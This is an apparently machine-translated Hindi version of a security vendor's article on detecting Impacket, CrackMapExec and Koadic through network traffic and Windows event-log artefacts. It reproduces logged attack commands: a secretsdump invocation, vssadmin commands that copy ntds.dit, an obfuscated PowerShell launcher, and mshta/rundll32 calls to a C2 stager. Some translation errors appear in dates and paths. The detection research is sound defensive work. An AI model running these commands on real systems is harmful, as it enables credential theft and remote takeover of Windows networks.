🥇विंडोज इंफ्रास्ट्रक्चर पर हमलों का पता कैसे लगाएं: हैकर टूल्स का अध्ययन

उदाहरण के लिए, कॉर्पोरेट क्षेत्र में हमलों की संख्या हर साल बढ़ रही है 2017 में 13% अधिक अनोखी घटनाएं दर्ज की गईं 2016 की तुलना में, और 2018 के अंत में - 27% ज्यादा घटनाएंपिछली अवधि की तुलना में. इसमें वे भी शामिल हैं जहां मुख्य कार्य उपकरण विंडोज ऑपरेटिंग सिस्टम है। 2017-2018 में, एपीटी ड्रैगनफ्लाई, एपीटी28, एपीटी मैलापानी यूरोप, उत्तरी अमेरिका और सऊदी अरब में सरकारी और सैन्य संगठनों पर हमले किए। और इसके लिए हमने तीन टूल्स का इस्तेमाल किया - इम्पैकेट, CrackMapExec и Koadic. उनका स्रोत कोड खुला है और GitHub पर उपलब्ध है।

यह ध्यान देने योग्य है कि इन उपकरणों का उपयोग प्रारंभिक पैठ के लिए नहीं किया जाता है, बल्कि बुनियादी ढांचे के भीतर एक हमले को विकसित करने के लिए किया जाता है। हमलावर परिधि में प्रवेश के बाद हमले के विभिन्न चरणों में उनका उपयोग करते हैं। वैसे, इसका पता लगाना मुश्किल है और अक्सर केवल तकनीक की मदद से नेटवर्क ट्रैफ़िक में समझौते के निशानों की पहचान करना या उपकरण जो अनुमति देते हैं किसी हमलावर के बुनियादी ढांचे में घुसने के बाद उसकी सक्रिय गतिविधियों का पता लगाना. उपकरण फ़ाइलों को स्थानांतरित करने से लेकर रजिस्ट्री के साथ इंटरैक्ट करने और रिमोट मशीन पर कमांड निष्पादित करने तक कई प्रकार के कार्य प्रदान करते हैं। हमने उनकी नेटवर्क गतिविधि निर्धारित करने के लिए इन उपकरणों का एक अध्ययन किया।

हमें क्या करने की आवश्यकता थी:

समझें कि हैकिंग टूल कैसे काम करते हैं. पता लगाएं कि हमलावरों को किन चीज़ों का फायदा उठाने की ज़रूरत है और वे किन तकनीकों का उपयोग कर सकते हैं।
किसी हमले के पहले चरण में सूचना सुरक्षा उपकरणों द्वारा जो पता नहीं लगाया जाता है उसे ढूंढें. टोही चरण को छोड़ा जा सकता है, या तो क्योंकि हमलावर एक आंतरिक हमलावर है, या क्योंकि हमलावर बुनियादी ढांचे में एक छेद का फायदा उठा रहा है जो पहले से ज्ञात नहीं था। उसके कार्यों की पूरी श्रृंखला को पुनर्स्थापित करना संभव हो जाता है, इसलिए आगे की गतिविधि का पता लगाने की इच्छा होती है।
घुसपैठ का पता लगाने वाले उपकरणों से झूठी सकारात्मकता को हटा दें. हमें यह नहीं भूलना चाहिए कि जब केवल टोही के आधार पर कुछ कार्यों का पता लगाया जाता है, तो बार-बार त्रुटियां संभव होती हैं। आमतौर पर बुनियादी ढांचे में किसी भी जानकारी को प्राप्त करने के लिए पर्याप्त संख्या में तरीके होते हैं, जो पहली नज़र में वैध तरीकों से अप्रभेद्य होते हैं।

ये उपकरण हमलावरों को क्या देते हैं? यदि यह इम्पाकेट है, तो हमलावरों को मॉड्यूल की एक बड़ी लाइब्रेरी प्राप्त होती है जिसका उपयोग परिधि को तोड़ने के बाद होने वाले हमले के विभिन्न चरणों में किया जा सकता है। कई उपकरण आंतरिक रूप से इम्पाकेट मॉड्यूल का उपयोग करते हैं - उदाहरण के लिए, मेटास्प्लोइट। इसमें रिमोट कमांड निष्पादन के लिए dcomexec और wmiexec, इम्पाकेट से जोड़े गए मेमोरी से खाते प्राप्त करने के लिए सीक्रेट्सडंप है। परिणामस्वरूप, ऐसी लाइब्रेरी की गतिविधि का सही पता लगाने से डेरिवेटिव का पता लगाना सुनिश्चित हो जाएगा।

यह कोई संयोग नहीं है कि रचनाकारों ने CrackMapExec (या बस CME) के बारे में "पावर्ड बाय इम्पाकेट" लिखा। इसके अलावा, सीएमई के पास लोकप्रिय परिदृश्यों के लिए तैयार कार्यक्षमता है: पासवर्ड या उनके हैश प्राप्त करने के लिए मिमिकात्ज़, दूरस्थ निष्पादन के लिए मीटरप्रेटर या एम्पायर एजेंट का कार्यान्वयन, और बोर्ड पर ब्लडहाउंड।

हमने जो तीसरा टूल चुना वह कोआडिक था। यह बिल्कुल हालिया है, इसे 25 में अंतर्राष्ट्रीय हैकर सम्मेलन DEFCON 2017 में प्रस्तुत किया गया था और यह एक गैर-मानक दृष्टिकोण द्वारा प्रतिष्ठित है: यह HTTP, जावा स्क्रिप्ट और Microsoft विज़ुअल बेसिक स्क्रिप्ट (VBS) के माध्यम से काम करता है। इस दृष्टिकोण को ज़मीन से दूर रहना कहा जाता है: उपकरण विंडोज़ में निर्मित निर्भरताओं और पुस्तकालयों के एक सेट का उपयोग करता है। निर्माता इसे COM कमांड एंड कंट्रोल या C3 कहते हैं।

इम्पैकेट

इम्पाकेट की कार्यक्षमता बहुत व्यापक है, जिसमें एडी के अंदर टोह लेने और आंतरिक एमएस एसक्यूएल सर्वर से डेटा एकत्र करने से लेकर क्रेडेंशियल प्राप्त करने की तकनीक तक शामिल है: यह एक एसएमबी रिले हमला है, और एक डोमेन नियंत्रक से उपयोगकर्ता पासवर्ड के हैश वाली ntds.dit फ़ाइल प्राप्त करना है। इम्पाकेट चार अलग-अलग तरीकों का उपयोग करके दूरस्थ रूप से कमांड निष्पादित करता है: WMI, Windows शेड्यूलर प्रबंधन सेवा, DCOM, और SMB, और ऐसा करने के लिए क्रेडेंशियल की आवश्यकता होती है।

सीक्रेट्सडंप

आइए एक नजर डालते हैं सीक्रेट्सडंप पर। यह एक मॉड्यूल है जो उपयोगकर्ता मशीनों और डोमेन नियंत्रकों दोनों को लक्षित कर सकता है। इसका उपयोग मेमोरी क्षेत्रों LSA, SAM, SECURITY, NTDS.dit की प्रतियां प्राप्त करने के लिए किया जा सकता है, ताकि इसे हमले के विभिन्न चरणों में देखा जा सके। मॉड्यूल के संचालन में पहला चरण एसएमबी के माध्यम से प्रमाणीकरण है, जिसके लिए स्वचालित रूप से पास द हैश हमले को अंजाम देने के लिए उपयोगकर्ता के पासवर्ड या उसके हैश की आवश्यकता होती है। इसके बाद सर्विस कंट्रोल मैनेजर (एससीएम) तक पहुंच खोलने और विनरेग प्रोटोकॉल के माध्यम से रजिस्ट्री तक पहुंच प्राप्त करने का अनुरोध आता है, जिसका उपयोग करके एक हमलावर रुचि की शाखाओं के डेटा का पता लगा सकता है और एसएमबी के माध्यम से परिणाम प्राप्त कर सकता है।

चित्र में. 1 हम देखते हैं कि कैसे Winreg प्रोटोकॉल का उपयोग करते समय, LSA के साथ रजिस्ट्री कुंजी का उपयोग करके पहुंच प्राप्त की जाती है। ऐसा करने के लिए, ऑपकोड 15 - ओपनकी के साथ DCERPC कमांड का उपयोग करें।

चावल। 1. Winreg प्रोटोकॉल का उपयोग करके रजिस्ट्री कुंजी खोलना

इसके बाद, जब कुंजी तक पहुंच प्राप्त हो जाती है, तो मान को SaveKey कमांड के साथ ऑपकोड 20 के साथ सहेजा जाता है। इम्पाकेट इसे बहुत विशिष्ट तरीके से करता है। यह मानों को एक फ़ाइल में सहेजता है जिसका नाम .tmp के साथ जोड़े गए 8 यादृच्छिक वर्णों की एक स्ट्रिंग है। इसके अलावा, इस फ़ाइल का आगे अपलोड System32 निर्देशिका से SMB के माध्यम से होता है (चित्र 2)।

चावल। 2. रिमोट मशीन से रजिस्ट्री कुंजी प्राप्त करने की योजना

यह पता चला है कि नेटवर्क पर ऐसी गतिविधि का पता Winreg प्रोटोकॉल, विशिष्ट नामों, आदेशों और उनके क्रम का उपयोग करके कुछ रजिस्ट्री शाखाओं के प्रश्नों द्वारा लगाया जा सकता है।

यह मॉड्यूल विंडोज़ इवेंट लॉग में निशान भी छोड़ता है, जिससे इसका पता लगाना आसान हो जाता है। उदाहरण के लिए, कमांड निष्पादित करने के परिणामस्वरूप

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Windows सर्वर 2016 लॉग में हम घटनाओं का निम्नलिखित मुख्य क्रम देखेंगे:

1. 4624 - रिमोट लॉगऑन।
2. 5145 - विनरेग रिमोट सेवा तक पहुंच अधिकारों की जांच करना।
3. 5145 - System32 निर्देशिका में फ़ाइल एक्सेस अधिकारों की जाँच करना। फ़ाइल में ऊपर उल्लिखित यादृच्छिक नाम है।
4. 4688 - एक cmd.exe प्रक्रिया बनाना जो vssadmin लॉन्च करता है:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5 - कमांड के साथ एक प्रक्रिया बनाना:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6 - कमांड के साथ एक प्रक्रिया बनाना:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7 - कमांड के साथ एक प्रक्रिया बनाना:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

कई पोस्ट-शोषण उपकरणों की तरह, इम्पाकेट में दूरस्थ रूप से कमांड निष्पादित करने के लिए मॉड्यूल हैं। हम smbexec पर ध्यान केंद्रित करेंगे, जो रिमोट मशीन पर एक इंटरैक्टिव कमांड शेल प्रदान करता है। इस मॉड्यूल को पासवर्ड या पासवर्ड हैश के साथ एसएमबी के माध्यम से प्रमाणीकरण की भी आवश्यकता होती है। चित्र में. चित्र 3 में हम एक उदाहरण देखते हैं कि ऐसा उपकरण कैसे काम करता है, इस मामले में यह स्थानीय व्यवस्थापक कंसोल है।

चावल। 3. इंटरएक्टिव smbexec कंसोल

प्रमाणीकरण के बाद smbexec का पहला चरण SCM को OpenSCManagerW कमांड (15) के साथ खोलना है। क्वेरी उल्लेखनीय है: मशीननाम फ़ील्ड DUMMY है।

चावल। 4. सेवा नियंत्रण प्रबंधक खोलने का अनुरोध

इसके बाद, CreateServiceW कमांड (12) का उपयोग करके सेवा बनाई जाती है। smbexec के मामले में, हम हर बार एक ही कमांड निर्माण तर्क देख सकते हैं। चित्र में. 5 हरा अपरिवर्तनीय कमांड पैरामीटर को इंगित करता है, पीला इंगित करता है कि एक हमलावर क्या बदल सकता है। यह देखना आसान है कि निष्पादन योग्य फ़ाइल का नाम, उसकी निर्देशिका और आउटपुट फ़ाइल को बदला जा सकता है, लेकिन इम्पाकेट मॉड्यूल के तर्क को परेशान किए बिना बाकी को बदलना अधिक कठिन है।

चावल। 5. सेवा नियंत्रण प्रबंधक का उपयोग करके एक सेवा बनाने का अनुरोध

Smbexec विंडोज़ इवेंट लॉग में स्पष्ट निशान भी छोड़ता है। IPconfig कमांड के साथ इंटरैक्टिव कमांड शेल के लिए विंडोज सर्वर 2016 लॉग में, हम घटनाओं के निम्नलिखित प्रमुख अनुक्रम देखेंगे:

1. 4697 - पीड़ित की मशीन पर सेवा की स्थापना:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2 - बिंदु 4688 से तर्कों के साथ cmd.exe प्रक्रिया का निर्माण।
3. 5145 - सी$ निर्देशिका में __आउटपुट फ़ाइल तक पहुंच अधिकारों की जांच करना।
4. 4697 - पीड़ित की मशीन पर सेवा की स्थापना।

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5 - बिंदु 4688 से तर्कों के साथ cmd.exe प्रक्रिया का निर्माण।
6. 5145 - सी$ निर्देशिका में __आउटपुट फ़ाइल तक पहुंच अधिकारों की जांच करना।

इम्पाकेट आक्रमण उपकरणों के विकास का आधार है। यह विंडोज़ इंफ्रास्ट्रक्चर में लगभग सभी प्रोटोकॉल का समर्थन करता है और साथ ही इसकी अपनी विशिष्ट विशेषताएं भी हैं। यहां विशिष्ट वाइनरेग अनुरोध, और विशिष्ट कमांड गठन के साथ एससीएम एपीआई का उपयोग, और फ़ाइल नाम प्रारूप, और एसएमबी शेयर सिस्टम32 हैं।

क्रैकमेपेक्सेक

सीएमई टूल मुख्य रूप से उन नियमित क्रियाओं को स्वचालित करने के लिए डिज़ाइन किया गया है जो एक हमलावर को नेटवर्क के भीतर आगे बढ़ने के लिए करना होता है। यह आपको प्रसिद्ध एम्पायर एजेंट और मीटरप्रेटर के साथ मिलकर काम करने की अनुमति देता है। आदेशों को गुप्त रूप से निष्पादित करने के लिए, सीएमई उन्हें अस्पष्ट कर सकता है। ब्लडहाउंड (एक अलग टोही उपकरण) का उपयोग करके, एक हमलावर एक सक्रिय डोमेन व्यवस्थापक सत्र की खोज को स्वचालित कर सकता है।

खोजी कुत्ता

ब्लडहाउंड, एक स्टैंडअलोन उपकरण के रूप में, नेटवर्क के भीतर उन्नत टोही की अनुमति देता है। यह उपयोगकर्ताओं, मशीनों, समूहों, सत्रों के बारे में डेटा एकत्र करता है और इसे पावरशेल स्क्रिप्ट या बाइनरी फ़ाइल के रूप में आपूर्ति की जाती है। जानकारी एकत्र करने के लिए एलडीएपी या एसएमबी-आधारित प्रोटोकॉल का उपयोग किया जाता है। सीएमई एकीकरण मॉड्यूल ब्लडहाउंड को पीड़ित की मशीन में डाउनलोड करने, निष्पादन के बाद एकत्रित डेटा को चलाने और प्राप्त करने की अनुमति देता है, जिससे सिस्टम में क्रियाएं स्वचालित हो जाती हैं और उन्हें कम ध्यान देने योग्य बना दिया जाता है। ब्लडहाउंड ग्राफ़िकल शेल एकत्रित डेटा को ग्राफ़ के रूप में प्रस्तुत करता है, जो आपको हमलावर की मशीन से डोमेन व्यवस्थापक तक सबसे छोटा रास्ता खोजने की अनुमति देता है।

चावल। 6. ब्लडहाउंड इंटरफ़ेस

पीड़ित की मशीन पर चलने के लिए, मॉड्यूल ATSVC और SMB का उपयोग करके एक कार्य बनाता है। एटीएसवीसी विंडोज टास्क शेड्यूलर के साथ काम करने के लिए एक इंटरफ़ेस है। सीएमई नेटवर्क पर कार्य बनाने के लिए अपने NetrJobAdd(1) फ़ंक्शन का उपयोग करता है। सीएमई मॉड्यूल क्या भेजता है इसका एक उदाहरण चित्र में दिखाया गया है। 7: यह एक cmd.exe कमांड कॉल और XML प्रारूप में तर्क के रूप में अस्पष्ट कोड है।

चित्र 7. सीएमई के माध्यम से एक कार्य बनाना

कार्य निष्पादन के लिए प्रस्तुत किए जाने के बाद, पीड़ित की मशीन ब्लडहाउंड स्वयं शुरू कर देती है, और इसे ट्रैफ़िक में देखा जा सकता है। मॉड्यूल को मानक समूह, डोमेन में सभी मशीनों और उपयोगकर्ताओं की एक सूची प्राप्त करने और SRVSVC NetSessEnum अनुरोध के माध्यम से सक्रिय उपयोगकर्ता सत्रों के बारे में जानकारी प्राप्त करने के लिए एलडीएपी प्रश्नों की विशेषता है।

चावल। 8. एसएमबी के माध्यम से सक्रिय सत्रों की सूची प्राप्त करना

इसके अलावा, ऑडिटिंग सक्षम होने पर पीड़ित की मशीन पर ब्लडहाउंड लॉन्च करने के साथ आईडी 4688 (प्रक्रिया निर्माण) और प्रक्रिया नाम के साथ एक इवेंट भी शामिल होता है। «C:WindowsSystem32cmd.exe». इसके बारे में जो उल्लेखनीय है वह है कमांड लाइन तर्क:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

कार्यक्षमता और कार्यान्वयन के दृष्टिकोण से enum_avproducts मॉड्यूल बहुत दिलचस्प है। WMI आपको विभिन्न विंडोज़ ऑब्जेक्ट्स से डेटा पुनर्प्राप्त करने के लिए WQL क्वेरी भाषा का उपयोग करने की अनुमति देता है, जो अनिवार्य रूप से यह CME मॉड्यूल उपयोग करता है। यह पीड़ित की मशीन पर स्थापित सुरक्षा उपकरणों के बारे में एंटीस्पाइवेयरप्रोडक्ट और एंटीमिरसप्रोडक्ट वर्गों के लिए प्रश्न उत्पन्न करता है। आवश्यक डेटा प्राप्त करने के लिए, मॉड्यूल rootSecurityCenter2 नेमस्पेस से जुड़ता है, फिर एक WQL क्वेरी उत्पन्न करता है और एक प्रतिक्रिया प्राप्त करता है। चित्र में. चित्र 9 ऐसे अनुरोधों और प्रतिक्रियाओं की सामग्री दिखाता है। हमारे उदाहरण में, विंडोज डिफेंडर पाया गया था।

चावल। 9. enum_avproducts मॉड्यूल की नेटवर्क गतिविधि

अक्सर, WMI ऑडिटिंग (ट्रेस WMI-एक्टिविटी), जिसके इवेंट में आप WQL प्रश्नों के बारे में उपयोगी जानकारी पा सकते हैं, अक्षम हो सकती है। लेकिन यदि यह सक्षम है, तो यदि enum_avproducts स्क्रिप्ट चलाई जाती है, तो आईडी 11 वाला एक ईवेंट सहेजा जाएगा। इसमें अनुरोध भेजने वाले उपयोगकर्ता का नाम और RootSecurityCenter2 नेमस्पेस में नाम शामिल होगा।

प्रत्येक सीएमई मॉड्यूल की अपनी कलाकृतियाँ थीं, चाहे वह विशिष्ट WQL प्रश्न हों या एलडीएपी और एसएमबी में अस्पष्टता और ब्लडहाउंड-विशिष्ट गतिविधि के साथ कार्य अनुसूचक में एक निश्चित प्रकार के कार्य का निर्माण हो।

कोआडिक

कोएडिक की एक विशिष्ट विशेषता विंडोज़ में निर्मित जावास्क्रिप्ट और वीबीस्क्रिप्ट दुभाषियों का उपयोग है। इस अर्थ में, यह ज़मीन से दूर रहने की प्रवृत्ति का अनुसरण करता है - अर्थात, इसमें कोई बाहरी निर्भरता नहीं है और मानक विंडोज टूल का उपयोग करता है। यह पूर्ण कमांड एवं नियंत्रण (सीएनसी) के लिए एक उपकरण है, क्योंकि संक्रमण के बाद मशीन पर एक "प्रत्यारोपण" स्थापित किया जाता है, जिससे इसे नियंत्रित किया जा सकता है। कोआडिक शब्दावली में ऐसी मशीन को "ज़ोंबी" कहा जाता है। यदि पीड़ित के पक्ष में पूर्ण संचालन के लिए अपर्याप्त विशेषाधिकार हैं, तो कोएडिक के पास उपयोगकर्ता खाता नियंत्रण बाईपास (यूएसी बाईपास) तकनीकों का उपयोग करके उन्हें बढ़ाने की क्षमता है।

चावल। 10. कोआडिक शैल

पीड़ित को कमांड और कंट्रोल सर्वर के साथ संचार शुरू करना होगा। ऐसा करने के लिए, उसे पहले से तैयार यूआरआई से संपर्क करना होगा और स्टेजर्स में से एक का उपयोग करके मुख्य कोएडिक बॉडी प्राप्त करनी होगी। चित्र में. चित्र 11 mshta स्टेजर के लिए एक उदाहरण दिखाता है।

चावल। 11. सीएनसी सर्वर के साथ एक सत्र प्रारंभ करना

प्रतिक्रिया चर WS के आधार पर, यह स्पष्ट हो जाता है कि निष्पादन WScript.Shell के माध्यम से होता है, और चर STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE में वर्तमान सत्र के मापदंडों के बारे में महत्वपूर्ण जानकारी होती है। यह CnC सर्वर के साथ HTTP कनेक्शन में पहली अनुरोध-प्रतिक्रिया जोड़ी है। बाद के अनुरोध सीधे तौर पर बुलाए गए मॉड्यूल (प्रत्यारोपण) की कार्यक्षमता से संबंधित हैं। सभी कोएडिक मॉड्यूल केवल सीएनसी के साथ सक्रिय सत्र के साथ काम करते हैं।

Mimikatz

जैसे सीएमई ब्लडहाउंड के साथ काम करता है, कोआडिक एक अलग कार्यक्रम के रूप में मिमिकात्ज़ के साथ काम करता है और इसे लॉन्च करने के कई तरीके हैं। Mimikatz इम्प्लांट डाउनलोड करने के लिए नीचे एक अनुरोध-प्रतिक्रिया जोड़ी है।

चावल। 12. Mimikatz को Koadic में स्थानांतरित करें

आप देख सकते हैं कि अनुरोध में यूआरआई प्रारूप कैसे बदल गया है। अब इसमें सीएसआरएफ वैरिएबल के लिए एक मान शामिल है, जो चयनित मॉड्यूल के लिए जिम्मेदार है। उसके नाम पर ध्यान मत दो; हम सभी जानते हैं कि सीएसआरएफ को आमतौर पर अलग तरह से समझा जाता है। प्रतिक्रिया कोआडिक का वही मुख्य निकाय था, जिसमें मिमिकात्ज़ से संबंधित कोड जोड़ा गया था। यह काफी बड़ा है, तो आइए मुख्य बिंदुओं पर नजर डालते हैं। यहां हमारे पास बेस64 में एन्कोडेड मिमिकैट्ज़ लाइब्रेरी है, एक क्रमबद्ध .NET क्लास जो इसे इंजेक्ट करेगी, और मिमिकैट्ज़ को लॉन्च करने के लिए तर्क। निष्पादन परिणाम स्पष्ट पाठ में नेटवर्क पर प्रसारित किया जाता है।

चावल। 13. रिमोट मशीन पर Mimikatz चलाने का परिणाम

Exec_cmd

कोआडिक में ऐसे मॉड्यूल भी हैं जो दूरस्थ रूप से कमांड निष्पादित कर सकते हैं। यहां हम वही यूआरआई जेनरेशन विधि और परिचित सिड और सीएसआरएफ वेरिएबल देखेंगे। Exec_cmd मॉड्यूल के मामले में, कोड को बॉडी में जोड़ा जाता है जो शेल कमांड निष्पादित करने में सक्षम है। नीचे CnC सर्वर की HTTP प्रतिक्रिया में निहित ऐसा कोड दिखाया गया है।

चावल। 14. इम्प्लांट कोड exec_cmd

कोड निष्पादन के लिए परिचित WS विशेषता वाला GAWTUUGCFI वैरिएबल आवश्यक है। इसकी मदद से, इम्प्लांट शेल को कॉल करता है, कोड की दो शाखाओं को प्रोसेस करता है - आउटपुट डेटा स्ट्रीम की वापसी के साथ शेल.एक्सईसी और रिटर्न के बिना शेल.रन।

कोआडिक कोई विशिष्ट उपकरण नहीं है, लेकिन इसकी अपनी कलाकृतियाँ हैं जिनके द्वारा इसे वैध ट्रैफ़िक में पाया जा सकता है:

HTTP अनुरोधों का विशेष गठन,
WinHttpRequests API का उपयोग करके,
ActiveXObject के माध्यम से WScript.Shell ऑब्जेक्ट बनाना,
बड़ा निष्पादन योग्य निकाय.

प्रारंभिक कनेक्शन स्टेजर द्वारा शुरू किया गया है, इसलिए विंडोज इवेंट के माध्यम से इसकी गतिविधि का पता लगाना संभव है। एमएसएचटीए के लिए, यह इवेंट 4688 है, जो प्रारंभ विशेषता के साथ एक प्रक्रिया के निर्माण को इंगित करता है:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

जब कोआडिक चल रहा है, तो आप अन्य 4688 घटनाओं को उन विशेषताओं के साथ देख सकते हैं जो इसे पूरी तरह से चित्रित करती हैं:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

निष्कर्ष

ज़मीन से दूर रहने की प्रवृत्ति अपराधियों के बीच लोकप्रियता हासिल कर रही है। वे अपनी आवश्यकताओं के लिए विंडोज़ में निर्मित उपकरणों और तंत्रों का उपयोग करते हैं। हम देख रहे हैं कि इस सिद्धांत का पालन करने वाले लोकप्रिय टूल Koadic, CrackMapExec और Impacket तेजी से APT रिपोर्ट में दिखाई दे रहे हैं। इन उपकरणों के लिए GitHub पर फोर्क्स की संख्या भी बढ़ रही है, और नए दिखाई दे रहे हैं (अब उनमें से लगभग एक हजार पहले से ही मौजूद हैं)। यह चलन अपनी सादगी के कारण लोकप्रियता हासिल कर रहा है: हमलावरों को तीसरे पक्ष के उपकरणों की आवश्यकता नहीं है; वे पहले से ही पीड़ितों की मशीनों पर हैं और उन्हें सुरक्षा उपायों को बायपास करने में मदद करते हैं। हम नेटवर्क संचार के अध्ययन पर ध्यान केंद्रित करते हैं: ऊपर वर्णित प्रत्येक उपकरण नेटवर्क ट्रैफ़िक में अपने स्वयं के निशान छोड़ता है; उनके विस्तृत अध्ययन से हमें अपना उत्पाद सिखाने में मदद मिली पीटी नेटवर्क अटैक डिस्कवरी उनका पता लगाना, जो अंततः उनसे जुड़ी साइबर घटनाओं की पूरी श्रृंखला की जांच करने में मदद करता है।

लेखक:

एंटोन ट्यूरिन, विशेषज्ञ सेवा विभाग के प्रमुख, पीटी विशेषज्ञ सुरक्षा केंद्र, पॉजिटिव टेक्नोलॉजीज
ईगोर पोडमोकोव, विशेषज्ञ, पीटी विशेषज्ञ सुरक्षा केंद्र, पॉजिटिव टेक्नोलॉजीज

स्रोत: www.habr.com

विंडोज़ बुनियादी ढांचे पर हमलों का पता कैसे लगाएं: हैकर टूल का अध्ययन करना